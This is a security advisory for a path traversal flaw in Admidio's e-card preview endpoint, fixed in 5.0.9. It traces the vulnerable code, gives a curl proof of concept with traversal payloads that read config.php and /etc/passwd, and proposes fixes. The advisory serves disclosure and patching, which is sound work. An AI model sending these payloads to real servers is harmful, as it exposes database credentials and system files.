Medium

Admidio has Path Traversal in ECard Preview that Allows Reading Arbitrary Server Files Including Database Credentials

  • Disclosed: 29.04.2026
  • Updated: 11.10.2026 10:22

Summary

The ecard_preview.php endpoint does not validate that the ecard_template POST parameter is a safe filename before passing it to ECard::getEcardTemplate(). An authenticated user can supply a path traversal payload (e.g., ../config.php) to read arbitrary files accessible to the web server process, including adm_my_files/config.php which contains database credentials.

Details

Root Cause: The ecard_template parameter is a select box whose value is only sanitized via strStripTags() during form validation, which does not restrict path traversal characters. Unlike ecard_send.php which explicitly validates the template name as a safe filename, ecard_preview.php omits this check entirely.

Code Path:

  1. modules/photos/ecards.php:143-152 — The form creates a select box with template filenames from adm_my_files/ecard_templates/. The form object is stored in the session.

  2. modules/photos/ecard_preview.php:33-34 — The POST request is validated against the stored form object:

php
$categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $categoryEditForm->validate($_POST);
  1. src/UI/Presenter/FormPresenter.php:2190-2243 — The validate() method applies StringUtils::strStripTags() to all values and performs type-specific checks for captcha, date, editor, email, number, url, and uuid — but has no validation case for select box values. The attacker-controlled value ../config.php passes through unchanged.

  2. modules/photos/ecard_preview.php:48 — The unvalidated value is passed directly to getEcardTemplate():

php
$ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']);
  1. src/Photos/ValueObject/ECard.php:67-77 — The filename is concatenated into the path and opened:
php
public function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string
{
    if ($tplFolder === '') {
        $tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/';
    }
    // ...
    $fileHandle = @fopen($tplFolder . $tplFilename, 'rb');

With $tplFilename = '../config.php', this resolves to ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php → ADMIDIO_PATH/adm_my_files/config.php.

Why ecard_send.php is NOT vulnerable: At line 35, it independently validates the template name:

php
$postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true));

This calls strIsValidFileName() which checks basename($filename) !== $filename, blocking any path traversal. The preview endpoint lacks this check.

PoC

bash
# Step 1: Log in and visit the ecard form to create a session with a form object
# Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1
# Extract the adm_csrf_token from the rendered form HTML

# Step 2: Send path traversal payload to read config.php (contains DB credentials)
curl -b 'PHPSESSID=<session_cookie>' \
  -X POST 'https://target/modules/photos/ecard_preview.php' \
  -d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview'

# The response body will contain the contents of adm_my_files/config.php
# rendered inside the ecard preview HTML, including:
#   $g_adm_srv (database host)
#   $g_adm_db  (database name)
#   $g_adm_usr (database username)
#   $g_adm_pw  (database password)

# To traverse further outside adm_my_files:
# ecard_template=../../system/bootstrap/constants.php  (reads PHP source)
# ecard_template=../../../../../etc/passwd              (reads system files)

Impact

  • Database credential disclosure: Any authenticated user can read adm_my_files/config.php, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise.
  • Source code disclosure: Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.
  • System file disclosure: With sufficient traversal depth (../../../../../etc/passwd), system files can be read, aiding further attacks.
  • Low barrier to exploit: Only requires a regular member account — no admin privileges needed.

Recommended Fix

Add filename validation to ecard_preview.php before passing the template name to getEcardTemplate(), matching the validation already present in ecard_send.php:

php
// In modules/photos/ecard_preview.php, add BEFORE line 48:
$postTemplateName = admFuncVariableIsValid(
    $formValues, 'ecard_template', 'file', array('requireValue' => true)
);
$ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName);

Alternatively, add select box value validation to FormPresenter::validate() to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:

php
// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():
case 'select':
    if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) {
        throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label']));
    }
    break;

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package admidio/admidio < 5.0.9 5.0.9

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-22
Platform
Composer
Package
admidio/admidio
Disclosed
29.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-m3vp-3jjm-gpmx - CC BY 4.0

Vulnerability history: admidio/admidio

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (50) in the archive
Total entries
50
First → latest
03.2022 07.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 3
  • High 10
  • Medium 33
  • Low 4

Disclosures per year

  1. 2022: 3
  2. 2023: 7
  3. 2024: 3
  4. 2025: 1
  5. 2026: 36
Severity:
  1. Admidio has Path Traversal in ECard Preview that Allows Reading Arbitrary Server Files Including Database Credentials this entry
    Medium · 6.5 CVE-2026-41655 < 5.0.9 5.0.9
  2. Critical · 9.1 CVE-2026-32817 >= 5.0.0, < 5.0.7 5.0.7
  3. High · 8.8 CVE-2026-32756 < 5.0.7 5.0.7
  4. Critical · 9.0 CVE-2024-38529 < 4.3.10 4.3.10
  5. Critical · 9.9 CVE-2024-37906 < 4.3.9 4.3.9
  6. High · 8.2 CVE-2022-0991 < 4.1.9 4.1.9

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